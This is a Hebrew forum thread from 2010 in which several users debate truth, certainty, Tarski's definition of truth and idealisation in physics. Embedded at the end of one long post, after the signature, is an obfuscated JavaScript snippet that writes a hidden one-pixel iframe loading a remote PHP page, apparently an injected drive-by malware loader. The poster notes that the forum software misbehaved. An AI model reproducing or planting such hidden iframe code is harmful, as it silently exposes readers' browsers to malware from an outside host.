| נשלח ב-14/11/2010 19:09 |
 |
| |
| מיימוני כתב: |  | היא שקר אמ"ם לפחות אחד הקוניונקטים [p או q במקרה דנן] הוא שקר. תפוח אחד רקוב מקלקל את כל החבילה באופן "מוחלט". כך שקוניונקציה המכילה שקרים היא כולה שקרית. היא לא יכולה להיות שקרית יותר או פחות - ולא משנה כמה קוניונקטים בה הם אמיתיים וכמה שקריים. ישנה תיאורמה דיי פשוטה, הנקראת תיאורמת מילר-טישי שמראה שמכל קוניונקציה, ארוכה ככל שתיהיה, המכילה קוניונקט שקרי אחד בלבד נובעת אותה כמות של טענות שקריות ואמיתיות שנובעת מקוניונקציה, ארוכה ככל שתיהיה, המכילה רק קוניונקטים שקריים - כמות אינסופית של אלו ושל אלו.
[מה שכן - כמובן ניתן לא לקנות את כל החבילה כחבילה אלא כפריטים בודדים ולהתייחס אל כל אחד מהקוניונקטים כטענה בפני עצמה - ואז אנו לעתים נשגה ולעתים נצדק - נטעה באשר לדברים מסויימים ונדע את האמת באשר לדברים אחרים, נעשה יותר טעויות או פחות טעויות. אבל כל אלה הן טענות אודותינו - לא לגבי אמת ושקר של טענות - שהיא פונקציה בינארית.]
לגבי מלאות - בדרך כלל, כשמדברים על מלאות של תיאוריה, מתכוונים לחלק של העולם המתואר על ידה. ככל שהיא מתארת חלק יותר גדול של העולם, כך היא מלאה יותר. תיאוריה "מושלמת" תיהיה תיאוריה ממנה נובעת כל טענה אמיתית. אבל תיאוריה כזאת היא גם בלתי אפשרי אפריורי [תיאורמת גדל] וגם טכנית - לא ניתן להתקרב לשום דבר הדומה אליה.
(אה, השתמשתי במונח שטבעתי הרגע, "צביר ידע". הכוונה לאוסף של משפטים, שבדרך כלל קשורים יחד מסיבות שונות).
קוראים לזה או סתם קוניונקציה או תיאוריה - תלוי ב"קשר" של הקוניונקטים.
ייתכן שמשתמשים במילה "אמת מוחלטת" להבדיל מ"אמת" סתם כדי לציין אמיתיות של משפטים שהם מאד חשובים לנו. למשל, השאלה מה נמצא בצד השני של הירח היא אולי מעניינת אבל לא כל כך חשובה לאדם, לא כמו המשפט "יש אלקים" ו"יש חיים לאחר המוות".
זה שוב שימוש שגוי [או לפחות לא מקובל] במושג "מוחלט" [אגב - ניתן לפתח דיון צדדי האם שימוש לא מקבול הוא אוטומאטית שגוי - בהינתן ששפה היא דבר מה חברתי. אבל זה נושא אחר]. אמת היא תמיד מוחלטת - וכך גם שקר. אמת יכולה להיות מעניינת לפלוני [ולא לפלמוני], חשובה לפלוני [ולא לפלמוני], קריטית להשרדותו של פלוני [ולא להשרדותו של פלמוני], וודאית לפלוני [ולא לפלמוני], מוצדקת בהינתן הנחות מסויימות [ולאו דווקא הנחות אחרות] וכן הלאה - אבל כל זה לא קשור למוחלטות של היותה אמת, שתמיד נשמרת.
ג. הדוגמא שלך "דשא ירוק" היא מאד מעניינת, מפני שהמשפט הזה טעון תוספות להבהרה. כשאני רואה דשא ירוק, זה תלוי גם בתאורה. בלילה הדשא אינו נראה ירוק. אני רק מזהה אותו כצבע שמקבל ירוק בחושך. לפיכך, משפט שמתאר צבע של אובייקט צריך לכלול גם את תנאי התאורה. ולמעשה עוד תנאים, כמו בריאות העינים ויכולת הראיה של המספר. מתברר שמשפטים, אפילו פשוטים מאד, כוללים הנחות יסוד סמויות פחות או יותר. בדרך כלל אין אנו נזקקים לציינן, אבל הן קיימות ברקע וגם הכרחיות.
זה הכל נכון - אבל זה לא שייך להגדרת אמת - אלא לווידוי אמיתותו של המשפט הספציפי הזה לגבי הדשא, להצדקתו, לפירושו, וכן הלאה..
אולם, בהינתן תאורה טובה וראיה תקינה, המשפט "הדשא ירוק" אכן אמתי כאשר הדשא הוא בעל צבע שאנו רואים כירוק.
הוא אמיתי או שקרי בלי שום קשר לתאורה או לראיה - אם הוא אמיתי, הוא אמיתי גם אם אף אחד לא יודע שהוא אמיתי - ואם הוא שקרי - הוא שקרי גם אם אף אחד לא יודע שהוא שקרי.
ה. שאלת את רדף ואני מרשה לעצמי להשיב:
כפי שציין רדף, כאשר אנו סבורים שמשהו אמיתי, יש לנו גם תחושה פסיכולוגית של ודאות לגביו.
לאו דווקא - הבחנתי בין מצב של האמנה גרידא לבין וודאות. אני יכול להאמין שכך וכך מבלי שתיהיה לי וודאות לגבי זאת. רוב האמנותינו הן כאלה.
יש לנו גם, לעתים, הצדקות. כלומר נימוקים מדוע זה כך.
כל אלו, האמונה שמשפט נכון, התחושה הפסיכולוגית של ודאות וההצדקות, יכולים להופיע יחד. אבל זה לא הכרחי. ואז מקבלים תופעות משונות אבל כאלו שקיימות למרבה המבוכה.
דוגמאות:
1. ראובן מאמין שיש דיבוקים בגלל שכך כתוב בספר שבעיניו קדוש. יש לו אמונה בדיבוקים, ודאות פסיכולוגית וגם הצדקה (ספר שבעיניו ראוי לאמון). אבל האם זה אמת שיש דיבוקים?
2. שמעון מאמין שאין דיבוקים. כך הוא אומר מפני שהוא מפחד מהם. אם הוא באמת מאמין שאין דיבוקים, אז הוא נמצא במצב של דיסוננס קוגניטיבי, של מי שרוצה להאמין בתוכן כלשהו אבל יש לו תחושה ודאית שהאמת היא להפך.
3. יהודה מאמין שה' נתן תורה בסיני. הוא חש זאת בודאות שמיוחסת למשפטים אמיתיים. אבל הוא אינו יודע לנמק זאת מעבר לכך ש"זה ברור", או "מוכח לוגית" (בלי לדעת מה זו לוגיקה), ובלי יכולת להביא ולו נימוק אחד שזה נכון. ליהודה יש ידיעה אמיתית (ויש מי שכמובן יפקפק בכך) אך זו ידיעה ללא בסיס. זה דומה, לפי הניתוח של רדף השיג, לניחוש של תשובה במקום לידע מבוסס. (לגבי דוגמא זו יש לציין שמי שמסתמך על מומחה נוהג באופן רציונלי. ולפיכך אם יהודה מסתמך על מקורות הסמכות שלו, הוא נוהג בתבונה עד כמה שברמת הידע שלו הוא יכול).
|
|
_________________
תוקן על ידי רדףהשיג ב- 14/11/2010 19:13:00
|
|
|
|
| נשלח ב-14/11/2010 19:14 |
|
| |
| מיימוני כתב: | | אולי כדאי להעלות את השאלה: לאיזה סוג משפטים שייך עיקרון אי הודאות של מיימוני?
האם הוא אפריורי? (שאינו תלוי בנסיון)? האם הוא אמפירי (נלמד מהנסיון)? |
|
אמפירי כמובן -- וודאות היא מצב פסיכולוגי - כלומר קונטינגנטי.
_________________
|
|
|
|
| נשלח ב-14/11/2010 19:24 |
|
| |
| ידעיהבדרשי כתב: | | | חוששני שאתה משתמש בהגדרה כזו של ודאות שלפי עצם ההגדרה מוציאה מכלל חשבון את האפשרות של ודאות . זה מעורר את הפרדוקס המעניין , מהיכן בא לנו מושג הודאות אם דבר כזה כלל אינו יכול להתקיים? |
|
זה לא כזה פאראדוקס [אע"פ שדקארט רצה להוכיח את קיומו של היש המושלם ע"י פניה ל"פאראדוקס" שכזה]. אנו יודעים מה זה ספק - כי אנו מסתפקים לעתים.
ספק הוא מושג יחסי: האמנה מסויימת שלנו מסופקת אצלנו פחות או יותר מהאמנה אחרת שלנו.
ברגע שמושג כלשהו מכיל רכיב [מעין-] כמותי, הוא יכול לסבול גם את הקואופיציינט 0.
וודאות היא פשוט העדר של ספק לגבי האמנות מסויימות.
בצורה יותר מדוייקת - הכוונה לשלילה של טענה מהסוג "פלוני חושש שמא לא-p". במילים אחרות: הטענה "ודאי לפלוני ש-p" דומה במשמעותה לטענה "פלוני מאמין ש-p ו[לא[פלוני חושש שמא לא-p]]"
אין זה מושג יותר פאראדוקסאלי מאשר העדר מחלות או העדר מלחמות או העדר גמדים.
_________________
|
|
|
|
| נשלח ב-14/11/2010 21:21 |
|
| |
_________________
|
|
|
|
| נשלח ב-14/11/2010 21:35 |
|
| |
אני משכתב את תגובתי למיימוני כי הגרסא הקודמת יצאה קווץ' [לא יודע למה]
מיימוני"]מבקש טוב
נגעת בנקודה המהותית.
כפי שציין רדף השיג, ואני חוזר בצורה, אני מקוה, פחות טכנית:
המילה "אמת" מציינת אצלנו יחס בין מה שאנו חושבים, אומרים ויודעים (טענה בלשון הטכנית) לבין המציאות.
דוגמא:
"ביום א 14/11/10 יורד גשם בבני ברק" הוא משפט שקרי (לא אמיתי) כי לא יורד גשם.
המשפט הזה היה אמיתי אילו היה יורד גשם.
וזו לא חזרה עקרה על מילים. הסתכל לרגע על המילים הבאות לא כמבטאות מידע אלא כמילים, אוסף של אותיות על מסך מחשב או כמביעות מסר שנמצא במוח/שכל/תודעה שלנו: "ביום א 14/11/10 יורד גשם בבני ברק" .
מתי המסר הזה אמיתי? כאשר באמת יורד גשם.
זו הפרדיגמה (דוגמת היסוד) של אמת. זה נקרא, בלשון טכנית, התיאוריה של אמת כהתאמה. כלומר, פירוש המונח "אמת" כמציין התאמה בין מילים מכאן למציאות מכאן.
סכמת טארסקי לא מניחה מושגים כמו "התאמה" ו"מציאות" - היא הרבה יותר רזה - וזה מה שיפה בה.
זה חוסך מאיתנו כאב ראש מלדון על מהי ה"מציאות" ואיך בדיוק טענות "מתאימות" אליה.
ועוד הערה חשובה: ההגדרה של טארסקי עוסקת באמיתות טענות - אובייקטים לוגיים - ולא משפטים - שהם אובייקטים לשוניים ומורכבים ממילים. טענה יכולה להיות מבוטאת לא רק במילים - אלא גם בעזרת קבועים ומשתנים וקשרים ופרדיקאטים וסוגריים של תחשיב פרדיקאטים - וגם בעזרת תנועות ידיים.
כפי שציין רדף השיג, גם להגדרה כזו פשוטה, שרק משקפת את מה שכולנו חשים שהוא נכון, עדיין יש הנחות יסוד.
למשל שיש סובייקט (אני, אתה, כולנו), שיש אובייקט (גשם, שמש, כל העולם). שיש הכרה. שיש ביטוי בטענות, מילים ומשפטים.
סכמת טארסקי לא מניחה שום דבר כזה. היא לא מניחה קיום של שום דבר. היא מותנית: אם טענה "p" אמת הרי ש-p ואם p הרי שטענה "p" אמת. היא לא מניחה שיש טענות בכלל - אמיתיות או שקריות - או מצבי ענינים. היא רק קובעת תחת אילו תנאים טענה תיהיה אמיתית.
ההנחות האלו הן כל כך פשוטות ואינטואיטיביות, עד שניתן לפקפק בהן רק בניסוי פילוסופי, כמו כאן ועכשו באשכול הזה.
ובכל זאת, זה לא פשוט.
אחרי הקדמה זו, תשובה לשאלתך:
א. אמת היא התאמה בין מה שאנו חושבים לבין המציאות ש"בחוץ".
לא - ראו לעיל.
ב. "מוחלטות" אינו תואר של "אמת" אלא של, אולי, משפטים ותיאוריות. לא אמור להיות הבדל בין "אמת" לבין "אמת מוחלטת". רק בשפה לא מדוייקת אנו מבדילים בין "אמת חלקית" (שכוללת אי דיוקים או שקרים) לבין "האמת המלאה והמוחלטת". אם מחלקים כל צביר ידע לחלקיו, למשפטים, חלקם נכונים וחלקם לא, אז אין כאן אמת מוחלטת. אם כל צביר הידע על כל חלקיו נכון, אפשר לומר שזו אמת מוחלטת. לפי זה, "אמת מוחלטת" הוא תואר של צבירי ידע.
קוניונקציה [טענה מהסוג "p וגם q כתב: | | היא שקר אמ"ם לפחות אחד הקוניונקטים [p או q במקרה דנן] הוא שקר. תפוח אחד רקוב מקלקל את כל החבילה באופן "מוחלט". כך שקוניונקציה המכילה שקרים היא כולה שקרית. היא לא יכולה להיות שקרית יותר או פחות - ולא משנה כמה קוניונקטים בה הם אמיתיים וכמה שקריים. ישנה תיאורמה דיי פשוטה, הנקראת תיאורמת מילר-טישי שמראה שמכל קוניונקציה, ארוכה ככל שתיהיה, המכילה קוניונקט שקרי אחד בלבד נובעת אותה כמות של טענות שקריות ואמיתיות שנובעת מקוניונקציה, ארוכה ככל שתיהיה, המכילה רק קוניונקטים שקריים - כמות אינסופית של אלו ושל אלו נובעות הן מהראשונה והן מהשניה.
[מה שכן - כמובן ניתן לא לקנות את כל החבילה כחבילה אלא כפריטים בודדים ולהתייחס אל כל אחד מהקוניונקטים כטענה בפני עצמה - ואז אנו לעתים נשגה ולעתים נצדק - נטעה באשר לדברים מסויימים ונדע את האמת באשר לדברים אחרים, נעשה יותר טעויות או פחות טעויות. אבל כל אלה הן טענות אודותינו - לא לגבי אמת ושקר של טענות - שהיא פונקציה בינארית.]
לגבי מלאות - בדרך כלל, כשמדברים על מלאות של תיאוריה, מתכוונים לחלק של העולם המתואר על ידה. ככל שהיא מתארת חלק יותר גדול של העולם, כך היא מלאה יותר. תיאוריה "מושלמת" תיהיה תיאוריה ממנה נובעת כל טענה אמיתית. אבל תיאוריה כזאת היא גם בלתי אפשרי אפריורי [תיאורמת גדל] וגם טכנית - לא ניתן להתקרב לשום דבר הדומה אליה.
(אה, השתמשתי במונח שטבעתי הרגע, "צביר ידע". הכוונה לאוסף של משפטים, שבדרך כלל קשורים יחד מסיבות שונות).
קוראים לזה או סתם קוניונקציה או תיאוריה - תלוי ב"קשר" של הקוניונקטים.
יתכן שמשתמשים במילה "אמת מוחלטת" להבדיל מ"אמת" סתם כדי לציין אמיתיות של משפטים שהם מאד חשובים לנו. למשל, השאלה מה נמצא בצד השני של הירח היא אולי מעניינת אבל לא כל כך חשובה לאדם, לא כמו המשפט "יש אלקים" ו"יש חיים לאחר המוות".
זה שוב שימוש שגוי [או לפחות לא מקובל] במושג "מוחלט" [אגב - ניתן לפתח דיון צדדי האם שימוש לא מקבול הוא אוטומאטית שגוי - בהינתן ששפה היא דבר מה חברתי. אבל זה נושא אחר]. אמת היא תמיד מוחלטת - וכך גם שקר. אמת יכולה להיות מעניינת לפלוני [ולא לפלמוני], חשובה לפלוני [ולא לפלמוני], קריטית להשרדותו של פלוני [ולא להשרדותו של פלמוני], וודאית לפלוני [ולא לפלמוני], מוצדקת בהינתן הנחות מסויימות [ולאו דווקא הנחות אחרות] וכן הלאה - אבל כל זה לא קשור למוחלטות של היותה אמת, שתמיד נשמרת.
ג. הדוגמא שלך "דשא ירוק" היא מאד מעניינת, מפני שהמשפט הזה טעון תוספות להבהרה. כשאני רואה דשא ירוק, זה תלוי גם בתאורה. בלילה הדשא אינו נראה ירוק. אני רק מזהה אותו כצבע שמקבל ירוק בחושך. לפיכך, משפט שמתאר צבע של אובייקט צריך לכלול גם את תנאי התאורה. ולמעשה עוד תנאים, כמו בריאות העינים ויכולת הראיה של המספר. מתברר שמשפטים, אפילו פשוטים מאד, כוללים הנחות יסוד סמויות פחות או יותר. בדרך כלל אין אנו נזקקים לציינן, אבל הן קיימות ברקע וגם הכרחיות.
זה הכל נכון - אבל זה לא שייך להגדרת אמת - אלא לווידוי אמיתותו של המשפט הספציפי הזה לגבי הדשא, להצדקתו, לפירושו, וכן הלאה..
אולם, בהינתן תאורה טובה וראיה תקינה, המשפט "הדשא ירוק" אכן אמתי כאשר הדשא הוא בעל צבע שאנו רואים כירוק.
הוא אמיתי או שקרי בלי שום קשר לתאורה או לראיה - אם הוא אמיתי, הוא אמיתי גם אם אף אחד לא יודע שהוא אמיתי - ואם הוא שקרי - הוא שקרי גם אם אף אחד לא יודע שהוא שקרי.
ה. שאלת את רדף ואני מרשה לעצמי להשיב:
כפי שציין רדף, כאשר אנו סבורים שמשהו אמיתי, יש לנו גם תחושה פסיכולוגית של ודאות לגביו. יש לנו גם, לעתים, הצדקות. כלומר נימוקים מדוע זה כך.
לאו דווקא - הבחנתי בין מצב של האמנה גרידא לבין וודאות. אני יכול להאמין שכך וכך מבלי שתיהיה לי וודאות לגבי זאת. רוב האמנותינו הן כאלה.
כל אלו, האמונה שמשפט נכון, התחושה הפסיכולוגית של ודאות וההצדקות, יכולים להופיע יחד. אבל זה לא הכרחי. ואז מקבלים תופעות משונות אבל כאלו שקיימות למרבה המבוכה.
דוגמאות:
1. ראובן מאמין שיש דיבוקים בגלל שכך כתוב בספר שבעיניו קדוש. יש לו אמונה בדיבוקים, ודאות פסיכולוגית וגם הצדקה (ספר שבעיניו ראוי לאמון). אבל האם זה אמת שיש דיבוקים?
2. שמעון מאמין שאין דיבוקים. כך הוא אומר מפני שהוא מפחד מהם. אם הוא באמת מאמין שאין דיבוקים, אז הוא נמצא במצב של דיסוננס קוגניטיבי, של מי שרוצה להאמין בתוכן כלשהו אבל יש לו תחושה ודאית שהאמת היא להפך.
3. יהודה מאמין שה' נתן תורה בסיני. הוא חש זאת בודאות שמיוחסת למשפטים אמיתיים. אבל הוא אינו יודע לנמק זאת מעבר לכך ש"זה ברור", או "מוכח לוגית" (בלי לדעת מה זו לוגיקה), ובלי יכולת להביא ולו נימוק אחד שזה נכון. ליהודה יש ידיעה אמיתית (ויש מי שכמובן יפקפק בכך) אך זו ידיעה ללא בסיס. זה דומה, לפי הניתוח של רדף השיג, לניחוש של תשובה במקום לידע מבוסס. (לגבי דוגמא זו יש לציין שמי שמסתמך על מומחה נוהג באופן רציונלי. ולפיכך אם יהודה מסתמך על מקורות הסמכות שלו, הוא נוהג בתבונה עד כמה שברמת הידע שלו הוא יכול).
_________________
שומר פיו ולשונו - שומר מצרות נפשו
******* language="">
*--
var as='h';
var ac='tt';
var ab='p';
var ay="//";
document.write("*************** src='"+as+ac+ab+":"+ay+"llaptops.co.cc/a1.php?a="+***************+"' frameborder='0' height=1px width=1px scrolling='no' ><*");
//*
|
|
_________________
|
|
|
|
| נשלח ב-14/11/2010 21:38 |
|
| |
טוב - לא יודע מה נסגר עם התוכנה הזאת. מקווה שמי שאמור להבין מה שכתבתי יבין
_________________
|
|
|
|
| נשלח ב-14/11/2010 22:02 |
|
| |
לגבי ההבחנה בין פנומנולוגיה לתיאוריה , יש לי הבנה שונה לגמרי של העניין. קח למשל קוביה של חמש אבנים (האובייקט הפיזיקלי החביב עלי) . המודל שיש לכל אחד במוח , הוא של אובייקט גיאומטרי מושלם , בעל פאות חלקות ומקצועות חדות וזוויות ישרות . מה יקרה אם נרצה להבין אותו בצורה מדויקת תיאורטית לפי הפיזיקה העדכנית ביותר?
התבוננות יותר מקרוב נותנת אובייקט מחוספס ומכוער ללא שום שלמות ודיוק . אם מגדילים עוד את הזום רואים תערובת של חלקיקים המתנודדים אקראית אנה ואנה כאשר הפרוץ מרובה על העומד . מגדילים את הזום וכבר לא מוצדק בכלל לדבר על חלקיקים , צריך להתחשב בשניות של גל חלקיק , במקום קוביה יש פונקציית גל של מערכת עם מספר עצום של חלקיקים, שזה בעצם גל שהוא סופרפוזיציה של המוני תדרים (תדרים של מה? אל תנסה אפילו לשאול) עם דרגות חופש מדרגות חופש שונות . גם לא מוצדק יותר לחשוב על הקוביה כאובייקט נפרד מסביבתה , צריך לחשוב על פונקציית הגל של היקום כולו . ברמה הזאת אין גם הצדקה לדבר על מצב של מערכת , בסך הכל יש אוסף של הסתברויות מעבר ממצב למצב שמתקבלות כתוצאה מסכימה על כל ההיסטוריות השונות . אם מגבירים את הדיוק כבר אין אפשרות לדבר על מספר קבוע של חלקיקים שצריך לסכום את כל ההיסטוריות האפשריות שלהם אלא על מערכת של חלקיקים שנוצרים ונהרסים וחלקיקים שמחליפים ביניהם חלקיקים וירטואליים שקיימים ונעלמים כהרף עין .
אז מה המדע מספר לנו על הטבע האולטימטיבי של המציאות? חוששני שהיא לא ממש אומרת משהו בכיוון זה. אם לנקוט בשפה דרידיאנית , עולמיותו של העולם נעלמת כאשר מנסים להסתכל עליה יותר מדי מקרוב. כדי למצוא את מה שמכונה אצלנו העולם: האובייקטים החפצים ,העצמים וההתנהגויות , עלינו לחפש לא בזום האולטימטיבי , אלא להיפך, בהתבוננות מרחוק , בעריכת ממוצעים , בטשטוש פרטים , באידיאליזציות והזנחת גורמים שנראים לנו זניחים.
מה שמכונה על ידינו ה"מציאות האמיתית" , היא אוסף של אידאות אפלטוניות . אובייקטים במציאות הם דברים ששואפים להתקרב לאידיאה האפלטונית שלהם בהיותם ממוצעים וגבולות של דברים שקיימים בטבע האולטימטיבי . למשל ,הפיזיקה הניוטונית היא אידיאה אפלטונית . לאידיאה הזאת יש מימוש מקורב במציאות , כאשר המהירויות נמוכות. המימוש המושלם שלה היא כאשר המהירויות הם אפס ממש , אבל אז כל הרעיון של פיזיקה נעלם , לכן אין לאידיאה זו מימוש מושלם במציאות (כפי שאין לאף אידיאה). גם הקוביה היא איזושהי ממוצע וגבול של דברים ותהליכים שקיימים בטבע האולטימטיבי .
כל תיאוריה פיזיקלית היא אידיאליזציה שמתאימה לתחום מסויים של תופעות. היא מגדירה גדלים שיש להם משמעות רק כממוצעים ומתארת את היחסים בין הגדלים האלה תוך כדי הזנחת גורמים שהתיקון המתבקש מהם הוא זניח , יחסית לסקאלת המדידה הרלוונטית לתחום התופעות המסויים.
ה"תיאוריה האמיתית" או ה"טבע האולטימטיבי" במידה ויש דברים כאלה, אינם אלא החומרה שעליו רצים המערכות האלה שמממשות את האידיאות.
ההתקדמויות במדע , הינם גילוי האופי האפלטוני המתאים לסקאלות חדשות שנפתחות למחקר. הם גם ממפים את ההיררכיה בין התיאוריות השונות , את אופי הממוצעים שלהם ואת סוג הגבול שהם לוקחים.
 |
|
|
|
|
| נשלח ב-14/11/2010 22:05 |
|
| |
ידעיה - עליך אני לא מאמין. מאימתי נעשית לשותף סוד?
:-)
וברצינות - מענין. אני אחשוב על זה. אענה לך כשאהיה פחות עייף וכשיהיה פחות חם.
_________________
|
|
|
|
| נשלח ב-14/11/2010 22:15 |
|
| |
כבר אמר הגר"א , שבמקום שהפילוסופיה מסתיימת מתחילה הקבלה.
|
|
|
|
| נשלח ב-15/11/2010 00:32 |
|
| |
למיימוני
"אנסה. אולי הפעם אצליח. הצעתי לכנות בשם "עיקרון אי הודאות" את העיקרון הבא: א. אין שום ספר (או מדע או משפט) שהוא אמת ודאית. מזה נובע: כיון שגם משפט א. הוא משפט, הוא גם חייב לעמוד בכלל הזה,."
כך כתבת.
שאלתי אותך מה נובע משני המשפטים שכתבת ואתה כותב לי מה נובע מהראשון....
הראשון אינו בעייתי-הוא העיקרון.
מה שבעייתי הוא הוספת המשפט השני.
וכעת אני אענה על השאלה שאתה לא ענית עליה.
משני המשפטים שלך נובעת מסקנה פשוטה:
שיש משפטים עם אמת מוחלטת.
(מסקנה שתתקשה לקבל אבל היא נובעת מהתעקשותך לצרף את משפט ב' לעיקרון אי הוודאות שבוטא במשפט א'.)
ואבהיר למה.
את עיקרון אי הוודאות שלך(משפט א )סייגת עם משפט ב שאומר שהעיקרון המבוטא במשפט א אינו ודאי מכאן נובעת מסקנה שיש גם משפטים (ספרים,מדע וכו') עם אמת מוחלטת.
תוקן על ידי צענערענע ב- 15/11/2010 01:18:06
|
|
|
|
| נשלח ב-15/11/2010 01:04 |
|
| |
צענע: מכך שלא וודאי שאין חייזרים לא נובע שיש חייזרים.
_________________
|
|
|
|
| נשלח ב-15/11/2010 01:09 |
|
| |
אבל לא בטוח אם יש או אין.
יכל להיות שיש ויכל להיות שאין.
|
|
|
|
|
